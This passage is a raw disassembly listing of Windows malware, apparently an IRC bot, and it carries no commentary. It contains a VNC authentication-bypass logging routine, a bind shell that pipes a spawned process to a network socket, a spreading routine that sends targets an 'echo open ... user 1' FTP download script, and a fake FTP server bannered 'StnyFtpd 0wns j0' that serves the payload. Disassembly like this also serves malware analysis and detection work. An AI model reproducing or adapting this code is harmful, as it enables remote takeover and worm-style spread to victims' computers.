		jz	loc_40D571
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40D571
		push	1
		push	offset dword_4C96C8
		push	ebx
		call	sub_40D2CF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40D296
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_4194C5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40D501
		push	edi
		push	esi
		push	ebx
		call	sub_40D296
		add	esp, 0Ch


loc_40D501:				; CODE XREF: nsp0:0040D4F4j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_417E90
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_408C5D
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_413B5E
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_433880[eax]
		push	ebx
		lea	eax, dword_433880[eax]
		call	dword_423200	; closesocket
		push	1
		pop	eax
		jmp	short loc_40D57A
; ---------------------------------------------------------------------------


loc_40D571:				; CODE XREF: nsp0:0040D38Ej
					; nsp0:0040D3B3j ...
		push	ebx
		call	dword_423200	; closesocket


loc_40D578:				; CODE XREF: nsp0:0040D378j
		xor	eax, eax


loc_40D57A:				; CODE XREF: nsp0:0040D56Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D57F	proc near		; DATA XREF: sub_40D60D+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40D588:				; CODE XREF: sub_40D57F+25j
					; sub_40D57F+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CC53C
		call	dword_4C9814	; recv
		test	eax, eax
		jle	short loc_40D588
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4CC538
		call	dword_4230E0	; WriteFile
		jmp	short loc_40D588
sub_40D57F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D5C2	proc near		; DATA XREF: sub_40D60D+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40D5CB:				; CODE XREF: sub_40D5C2+2Fj
					; sub_40D5C2+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CC52C
		call	dword_4230E8	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40D5CB
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4CC53C
		call	dword_4C9848	; send
		jmp	short loc_40D5CB
sub_40D5C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D60D	proc near		; DATA XREF: sub_401AC7+2883o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4C97FC	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4C9878	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9828	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4C9824	; listen
		mov	ebx, dword_4230FC
		mov	esi, dword_423068


loc_40D68D:				; CODE XREF: sub_40D60D+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4C988C	; accept
		mov	dword_4CC53C, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CC538
		push	offset dword_4CC534
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CC530
		push	offset dword_4CC52C
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_417AA0
		mov	eax, dword_4CC534
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4CC530
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_4230F8	; GetCurrentProcess
		push	eax
		push	dword_4CC530
		call	dword_4230F8	; GetCurrentProcess
		push	eax
		call	dword_4230F4	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_435974
		push	edi
		call	dword_42306C	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40D5C2
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42307C	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40D57F
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42307C	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4230A0	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4230AC	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4230AC	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4230F0	; TerminateProcess
		push	dword_4CC534
		call	esi	; CloseHandle
		push	dword_4CC538
		call	esi	; CloseHandle
		push	dword_4CC52C
		call	esi	; CloseHandle
		push	dword_4CC530
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40D68D
sub_40D60D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D7DD	proc near		; DATA XREF: nsp0:00425010o
		jmp	$+5
sub_40D7DD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D7E2	proc near
		push	0FFFEh
		push	400h
		call	sub_415759
		pop	ecx
		mov	dword_4CC544, eax
		pop	ecx
		retn
sub_40D7E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7F9	proc near		; DATA XREF: sub_40ABD2+34Do

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4C97FC	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4C9878	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40D8A0
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40D880
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		add	esp, 14h


loc_40D880:				; CODE XREF: sub_40D7F9+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413B5E
		push	[ebp+var_AC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_40D8A0:				; CODE XREF: sub_40D7F9+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_43C74C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4C9828	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40D99B
		call	dword_4C9798	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40D920
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40D900
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		add	esp, 14h


loc_40D900:				; CODE XREF: sub_40D7F9+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413B5E
		push	[ebp+var_AC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread


loc_40D920:				; CODE XREF: sub_40D7F9+DEj
		push	0FFFEh
		push	ebx
		call	sub_415759
		pop	ecx
		mov	dword_4CC544, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4C9828	; bind
		cmp	eax, esi
		jnz	short loc_40D99B
		call	dword_4C9798	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40D97B
		cmp	eax, 2740h
		jz	short loc_40D97B
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		add	esp, 14h


loc_40D97B:				; CODE XREF: sub_40D7F9+159j
					; sub_40D7F9+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413B5E
		push	[ebp+var_AC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread


loc_40D99B:				; CODE XREF: sub_40D7F9+CDj
					; sub_40D7F9+14Cj
		push	5
		push	edi
		call	dword_4C9824	; listen
		cmp	eax, esi
		jz	loc_40DA80
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_4250EC


loc_40D9B8:				; CODE XREF: sub_40D7F9+1D7j
					; sub_40D7F9+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4C988C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40D9B8
		cmp	[ebp+var_1C], 0
		jnz	short loc_40D9F9
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		add	esp, 14h


loc_40D9F9:				; CODE XREF: sub_40D7F9+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413B5E
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9814	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D9B8
		push	esi
		push	esi
		push	dword_4C9540
		push	[ebp+var_B0]
		call	sub_409D1D
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D9B8
		inc	dword_4CC54C
		jmp	loc_40D9B8
; ---------------------------------------------------------------------------


loc_40DA80:				; CODE XREF: sub_40D7F9+1ADj
		push	edi
		call	dword_4C9890	; closesocket
		push	[ebp+var_AC]
		call	sub_40A51F
		pop	ecx
		push	0
		call	dword_4230CC	; ExitThread
sub_40D7F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA9B	proc near		; DATA XREF: sub_40ABD2+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	dword_4231D4	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_423204	; socket
		mov	esi, dword_4231D8
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4231DC	; ioctlsocket
		mov	ax, word ptr dword_4C9540
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4C97FC	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	dword_4231E0	; bind
		test	eax, eax
		jge	short loc_40DB61
		mov	eax, ebx
		jmp	loc_40E0BE
; ---------------------------------------------------------------------------


loc_40DB61:				; CODE XREF: sub_40DA9B+BDj
		push	0Ah
		push	edi
		call	dword_4231E4	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, dword_423208
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40DB7F:				; CODE XREF: sub_40DA9B+11Dj
					; sub_40DA9B+61Bj
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_42320C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E0BB
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40DB7F


loc_40DBBA:				; CODE XREF: sub_40DA9B+615j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_417AA0
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_42226E	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40E0A9
		cmp	edi, [ebp+var_8]
		jnz	short loc_40DC71
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	dword_4231E8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E0A9
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40DC3B
		lea	edx, [ebp+var_228]


loc_40DC2B:				; CODE XREF: sub_40DA9B+19Ej
		cmp	[edx], eax
		jz	short loc_40DC3B
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40DC2B


loc_40DC3B:				; CODE XREF: sub_40DA9B+188j
					; sub_40DA9B+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40DC59
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40DC59
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40DC59:				; CODE XREF: sub_40DA9B+1A6j
					; sub_40DA9B+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40DC61
		mov	[ebp+var_4], eax


loc_40DC61:				; CODE XREF: sub_40DA9B+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40E0A9
; ---------------------------------------------------------------------------


loc_40DC71:				; CODE XREF: sub_40DA9B+15Aj
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_4231FC	; recv
		test	eax, eax
		jg	short loc_40DCD8
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40DCCC
		lea	eax, [ebp+var_228]


loc_40DC98:				; CODE XREF: sub_40DA9B+207j
		cmp	[eax], edi
		jz	short loc_40DCA6
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40DC98
		jmp	short loc_40DCCC
; ---------------------------------------------------------------------------


loc_40DCA6:				; CODE XREF: sub_40DA9B+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40DCC6
		lea	eax, [ebp+ecx*4+var_228]


loc_40DCB2:				; CODE XREF: sub_40DA9B+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40DCB2


loc_40DCC6:				; CODE XREF: sub_40DA9B+20Ej
		dec	[ebp+var_22C]


loc_40DCCC:				; CODE XREF: sub_40DA9B+1F5j
					; sub_40DA9B+209j
		push	edi
		call	dword_423200	; closesocket
		jmp	loc_40E0A9
; ---------------------------------------------------------------------------


loc_40DCD8:				; CODE XREF: sub_40DA9B+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_418B45
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_418570
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40DD1C
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40DD9E
; ---------------------------------------------------------------------------


loc_40DD1C:				; CODE XREF: sub_40DA9B+272j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD3D
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	short loc_40DD9E
; ---------------------------------------------------------------------------


loc_40DD3D:				; CODE XREF: sub_40DA9B+296j
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD5E
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	short loc_40DD9E
; ---------------------------------------------------------------------------


loc_40DD5E:				; CODE XREF: sub_40DA9B+2B7j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD7F
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	short loc_40DD9E
; ---------------------------------------------------------------------------


loc_40DD7F:				; CODE XREF: sub_40DA9B+2D8j
		lea	eax, [ebp+var_B0]
		push	offset off_435BC4
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDA4
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"


loc_40DD9E:				; CODE XREF: sub_40DA9B+27Cj
					; sub_40DA9B+2A0j ...
		push	edi
		jmp	loc_40E092
; ---------------------------------------------------------------------------


loc_40DDA4:				; CODE XREF: sub_40DA9B+2F9j
		mov	edi, offset aType ; "TYPE"
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDE0
		lea	eax, [ebp+var_338]
		push	offset aA	; "A"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDE0
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40E08F
; ---------------------------------------------------------------------------


loc_40DDE0:				; CODE XREF: sub_40DA9B+31Fj
					; sub_40DA9B+336j
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE17
		lea	eax, [ebp+var_338]
		push	offset aI	; "I"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE17
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40E08F
; ---------------------------------------------------------------------------


loc_40DE17:				; CODE XREF: sub_40DA9B+356j
					; sub_40DA9B+36Dj
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE62
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40DE55:				; CODE XREF: sub_40DA9B+406j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi
		jmp	loc_40E094
; ---------------------------------------------------------------------------


loc_40DE62:				; CODE XREF: sub_40DA9B+391j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEA3
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40DE55
; ---------------------------------------------------------------------------


loc_40DEA3:				; CODE XREF: sub_40DA9B+3DCj
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DF71
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418B45
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_417C89
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_417C89
		mov	[ebp+var_C], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_417AA0
		push	[ebp+var_C]
		lea	eax, [ebp+var_FC]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_417D96
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_4182BE
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_417D96
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40E08F
; ---------------------------------------------------------------------------


loc_40DF71:				; CODE XREF: sub_40DA9B+41Dj
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E070
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+arg_0]
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40E0C5
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40E066
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40DFF3
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_408C5D
		add	esp, 14h


loc_40DFF3:				; CODE XREF: sub_40DA9B+533j
		call	sub_40E142
		cmp	eax, 1
		jnz	loc_40E094
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
